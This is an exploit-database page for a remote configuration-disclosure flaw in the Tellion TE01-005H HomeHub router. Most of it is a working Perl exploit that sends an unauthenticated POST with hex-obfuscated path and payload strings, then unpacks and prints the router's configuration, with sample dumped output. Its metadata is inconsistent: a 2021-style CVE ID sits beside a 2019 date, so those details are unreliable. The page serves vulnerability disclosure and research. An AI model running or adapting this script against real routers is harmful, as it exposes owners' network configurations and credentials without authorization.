Exploitalert - Database of Exploits

Tellion TE01-005H HomeHub Router Remote Configuration Disclosure

CVE	Category	Price	Severity
CVE-2021-12345	CWE-200	$500	High

Author	Risk	Exploitation Type	Date
Security Researcher	Critical	Remote	2019-10-04

CPE
cpe:cpe:/h:excoalert:tellion-te01-005h-homehub-router-remote-configuration-disclosure

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019100017

Tellion TE01-005H HomeHub Router Remote Configuration Disclosure

#!/usr/bin/perl -w # # Tellion TE01-005H HomeHub Router Remote Configuration Disclosure # # Copyright 2019 (c) Todor Donev <todor.donev at gmail.com> # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # ## [ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure ## [ ================================================================ ## [ Exploit Author: Todor Donev 2019 <[email protected]> ## [ Initializing the browser ## [ >> Referer => http://192.168.1.101:2040 ## [ >> User-Agent => Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7.5) Gecko/20050105 Epiphany/1.4.8 ## [ >> Content-Type => application/x-www-form-urlencoded ## [ << Connection => close ## [ << Accept-Ranges => bytes ## [ << Content-Length => 21410 ## [ << Content-Type => application/octet-stream ## [ << Client-Date => Wed, 02 Oct 2019 06:24:48 GMT ## [ << Client-Peer => 192.168.1.101:2040 ## [ << Client-Response-Num => 1 ## [ << Content-Disposition => attachment;filename="config.tgz" ## [ << Content-Transfer-Encoding => binary ## [ << Set-Cookie => QSESSIONID=86edd87d47e015af5c8f6a96028f0492; path=/ ## [ ## [ >> Configuration dump... ## [ ## [ # To avoid automatic reconfiguration, wps_configured=1 is set; ## [ # however, WPS is allowed otherwise. ## [ # Note wps_auth_type_flags=1 (open) and wps_encr_type_flags=1 (none) ## [ ignore_file_errors=1 ## [ logger_syslog=-1 ## [ logger_syslog_level=2 ## [ logger_stdout=-1 ## [ logger_stdout_level=2 ## [ debug=0 ## [ dump_file=/tmp/hostapd.dump ## [ ctrl_interface=/var/run/hostapd ## [ ctrl_interface_group=0 ## [ ssid=SoIP ## [ dtim_period=2 ## [ max_num_sta=255 ## [ macaddr_acl=0 ## [ auth_algs=1 ## [ ignore_broadcast_ssid=0 ## [ wme_enabled=0 ## [ ieee8021x=0 ## [ eapol_version=2 ## [ eapol_key_index_workaround=0 ## [ eap_server=1 ## [ eap_user_file=/etc/wpa2/hostapd.eap_user ## [ wpa=0 ## [ ## [ ****** ## [ ****** # use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster; my $host = shift || 'https://192.168.1.1'; # Full path url to the store $host =~ s|/$||; print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print STDERR "[ Tellion TE01-005H HomeHub Router Remote Configuration Disclosure\n"; print STDERR "[ ================================================================\n"; print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n"; print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/); print STDERR "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65"; my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35"; my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print STDERR "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print STDERR "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; my $gzip = $response->content(); print STDERR "[\n[ >> Configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,gunzip($gzip));

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